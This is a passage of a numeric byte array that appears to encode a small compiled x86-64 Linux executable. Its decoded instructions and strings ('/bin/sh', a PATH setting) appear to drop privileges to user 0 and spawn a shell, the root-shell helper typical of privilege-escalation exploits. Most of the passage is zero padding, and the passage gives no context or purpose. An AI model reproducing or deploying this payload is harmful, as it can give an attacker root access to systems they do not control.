  72, 141, 61, 153, 47, 0, 0, 72, 141, 53, 146, 47, 0, 0, 72, 41,
  254, 72, 137, 240, 72, 193, 238, 63, 72, 193, 248, 3, 72, 1, 198, 72,
  209, 254, 116, 20, 72, 139, 5, 37, 47, 0, 0, 72, 133, 192, 116, 8,
  255, 224, 102, 15, 31, 68, 0, 0, 195, 15, 31, 128, 0, 0, 0, 0,
  243, 15, 30, 250, 128, 61, 85, 47, 0, 0, 0, 117, 51, 85, 72, 131,
  61, 2, 47, 0, 0, 0, 72, 137, 229, 116, 13, 72, 139, 61, 54, 47,
  0, 0, 255, 21, 240, 46, 0, 0, 232, 99, 255, 255, 255, 198, 5, 44,
  47, 0, 0, 1, 93, 195, 102, 46, 15, 31, 132, 0, 0, 0, 0, 0,
  195, 102, 102, 46, 15, 31, 132, 0, 0, 0, 0, 0, 15, 31, 64, 0,
  243, 15, 30, 250, 233, 103, 255, 255, 255, 85, 72, 137, 229, 144, 93, 195,
  85, 72, 137, 229, 72, 131, 236, 64, 72, 137, 125, 200, 100, 72, 139, 4,
  37, 40, 0, 0, 0, 72, 137, 69, 248, 49, 192, 72, 141, 5, 158, 14,
  0, 0, 72, 137, 69, 208, 72, 199, 69, 216, 0, 0, 0, 0, 72, 141,
  5, 147, 14, 0, 0, 72, 137, 69, 224, 72, 199, 69, 232, 0, 0, 0,
  0, 191, 0, 0, 0, 0, 232, 213, 254, 255, 255, 191, 0, 0, 0, 0,
  232, 171, 254, 255, 255, 72, 139, 69, 208, 72, 141, 85, 224, 72, 141, 77,
  208, 72, 137, 206, 72, 137, 199, 232, 132, 254, 255, 255, 191, 0, 0, 0,
  0, 232, 154, 254, 255, 255, 0, 0, 243, 15, 30, 250, 72, 131, 236, 8,
  72, 131, 196, 8, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  47, 98, 105, 110, 47, 115, 104, 0, 80, 65, 84, 72, 61, 47, 117, 115,
  114, 47, 108, 111, 99, 97, 108, 47, 115, 98, 105, 110, 58, 47, 117, 115,
  114, 47, 108, 111, 99, 97, 108, 47, 98, 105, 110, 58, 47, 117, 115, 114,
  47, 115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 98, 105, 110, 58, 47,
  115, 98, 105, 110, 58, 47, 98, 105, 110, 58, 47, 111, 112, 116, 47, 98,
  105, 110, 0, 0, 1, 27, 3, 59, 32, 0, 0, 0, 3, 0, 0, 0,
  204, 239, 255, 255, 60, 0, 0, 0, 229, 240, 255, 255, 100, 0, 0, 0,
  236, 240, 255, 255, 132, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0,
  1, 122, 82, 0, 1, 120, 16, 1, 27, 12, 7, 8, 144, 1, 0, 0,
  36, 0, 0, 0, 28, 0, 0, 0, 136, 239, 255, 255, 80, 0, 0, 0,
  0, 14, 16, 70, 14, 24, 74, 15, 11, 119, 8, 128, 0, 63, 26, 59,
  42, 51, 36, 34, 0, 0, 0, 0, 28, 0, 0, 0, 68, 0, 0, 0,
  121, 240, 255, 255, 7, 0, 0, 0, 0, 65, 14, 16, 134, 2, 67, 13,
  6, 66, 12, 7, 8, 0, 0, 0, 24, 0, 0, 0, 100, 0, 0, 0,
  96, 240, 255, 255, 118, 0, 0, 0, 0, 65, 14, 16, 134, 2, 67, 13,
  6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
